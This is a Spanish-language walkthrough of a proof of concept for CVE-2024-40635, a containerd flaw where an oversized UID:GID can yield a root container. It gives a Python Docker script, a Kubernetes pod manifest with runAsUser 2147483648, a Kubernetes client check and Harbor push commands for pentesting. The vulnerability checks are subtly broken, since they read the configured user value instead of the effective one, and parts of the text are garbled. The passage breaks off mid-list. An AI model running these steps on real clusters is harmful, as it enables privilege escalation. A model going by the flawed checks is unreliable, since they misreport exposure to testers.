
Código de Prueba de Concepto para demostrar la vulnerabilidad CVE-2024-40635
Código de prueba de concepto para demostrar la vulnerabilidad CVE-2024-40635 Datos recopilados desde aquí: https://nvd.nist.gov/vuln/detail/CVE-2024-40635
import docker
Esto importa la biblioteca docker de Python, que permite la interacción con Docker mediante su API. Si esta biblioteca no está instalada, puedes agregarla ejecutando:
pip install docker
client = docker.from_env()
Aquí, creamos un objeto cliente Docker usando el método docker.from_env(). Esto se conecta al demonio Docker que se ejecuta en tu máquina (o un host remoto, si está configurado).
def is_system_vulnerable(container):
try:
# Inspect container details
details = container.attrs
uid_gid = details['Config']['User']
print(f"Container UID:GID = {uid_gid}") # Print the UID:GID
if uid_gid == "0:0": # Root UID:GID
return True
return False
except Exception as e:
print(f"Error checking container details: {e}")
return False
Propósito: Esta función comprueba si el sistema es vulnerable inspeccionando los atributos del contenedor creado.
Pasos clave:
container.attrs: Obtiene todos los metadatos del contenedor (configuración, ajustes de ejecución, etc.).
details['Config']['User']: Extrae el UID:GID (ID de usuario y grupo) bajo el cual se ejecuta el contenedor. Esta es la propiedad que estamos probando.
print(f"Container UID:GID = {uid_gid}"): Siempre imprime el UID:GID para visibilidad.
Comprobando la vulnerabilidad: Si UID:GID es "0:0", indica que el contenedor se ejecuta con privilegios de root y el sistema es vulnerable.
container = client.containers.run(
"vulnerable-image", # Replace with your test image
user="2147483648:2147483648", # UID:GID exceeding 32-bit signed integer
detach=True
)
client.containers.run: Esto crea e inicia un contenedor Docker.
"vulnerable-image": Reemplázala con el nombre de una imagen Docker real adecuada para pruebas.
user="2147483648:2147483648": Aquí, establecemos un ID de usuario y grupo personalizado (UID:GID). Los valores exceden el rango de entero con signo de 32 bits, lo cual es la condición desencadenante de la vulnerabilidad.
detach=True: Esto asegura que el contenedor se ejecute en segundo plano, permitiendo que el script continúe sin esperar a que el contenedor termine su ejecución.
try:
...
except Exception as e:
print(f"Error: {e}")
Este bloque try-except asegura que cualquier error durante la creación o ejecución del contenedor sea capturado e impreso, evitando la terminación abrupta del script.
print(f"Container {container.id} started.")
Una vez que el contenedor se ha creado e iniciado exitosamente, su ID único se imprime para referencia. Esto es útil para depurar o inspeccionar más a fondo el contenedor.
if is_system_vulnerable(container):
print("System is vulnerable: Container is running as root!")
else:
print("System is not vulnerable.")
Esto llama a la función is_system_vulnerable, pasando el contenedor creado como argumento.
Basado en el resultado (True para vulnerable, False para no vulnerable), imprime un mensaje correspondiente.
El script está diseñado para proporcionar información detallada en su salida, incluyendo:
El UID:GID asignado al contenedor.
Una clara indicación de si el sistema es vulnerable o no.
Imagina que este script se ejecuta en un entorno de prueba y ocurre lo siguiente:
2147483648:2147483648.0:0 (root), haciendo que el contenedor se ejecute con privilegios de root.Container abc123 started.
Container UID:GID = 0:0
System is vulnerable: Container is running as root!
Alternativamente, si el sistema maneja correctamente valores grandes de UID:GID y no los mapea a root, podrías ver:
Container xyz456 started.
Container UID:GID = 2147483648:2147483648
System is not vulnerable.
"vulnerable-image" con una imagen Docker que se ajuste a tu escenario de prueba (por ejemplo, una imagen con dependencias mínimas).Ejecutar esta prueba de concepto (PoC) en un entorno en vivo como Kubernetes y Harbor para pentesting implica una planificación cuidadosa para garantizar que las pruebas sean controladas, éticas e impactantes. Aquí tienes un desglose de cómo puedes llevarlo a cabo:
1. Planificar y preparar
Despliega un contenedor usando la versión vulnerable de containerd (v1.6.35-gke.0) dentro de tu clúster de Kubernetes.
Usa una imagen Docker (por ejemplo, "vulnerable-image") con dependencias mínimas para mantener la superficie de ataque pequeña.
Ejemplo YAML para despliegue en Kubernetes:
apiVersion: v1
kind: Pod
metadata:
name: vulnerable-pod
namespace: pentest
spec:
containers:
- name: vulnerable-container
image: vulnerable-image # Replace with your test image
securityContext:
runAsUser: 2147483648 # Intentionally exceed 32-bit signed integer
runAsGroup: 2147483648
Aplica el YAML con:
kubectl apply -f pod.yml
b. Verificar con la PoC
Ejecuta el script Python que has desarrollado desde una máquina que tenga acceso al clúster de Kubernetes. Por ejemplo, puedes modificar el script para interactuar con Kubernetes usando la biblioteca kubernetes de Python.
Instálala con:
pip install kubernetes
Aquí tienes un fragmento actualizado para integrar Kubernetes:
from kubernetes import client, config
# Load Kubernetes configuration
config.load_kube_config()
# Create a Kubernetes API client
v1 = client.CoreV1Api()
# Check UID:GID for the specified pod
def check_pod_user(pod_name, namespace):
pod = v1.read_namespaced_pod(name=pod_name, namespace=namespace)
uid = pod.spec.containers[0].security_context.run_as_user
gid = pod.spec.containers[0].security_context.run_as_group
print(f"Pod {pod_name} UID:GID = {uid}:{gid}")
if uid == 0 and gid == 0:
print("System is vulnerable: Pod is running as root!")
else:
print("System is not vulnerable.")
check_pod_user("vulnerable-pod", "pentest")
docker tag vulnerable-image harbor.local/vulnerable-image:latest
docker push harbor.local/vulnerable-image:latest
Harbor te permite controlar el acceso a las imágenes, así que restringe el acceso para garantizar que la imagen vulnerable se use solo en pentesting.
Validación: Después de ejecutar la PoC, revisa los registros para cualquier indicio de que la vulnerabilidad se desencadenó. Por ejemplo, confirma si el contenedor (o el Pod) se ejecuta como root.
Documentación: Registra tus hallazgos, como: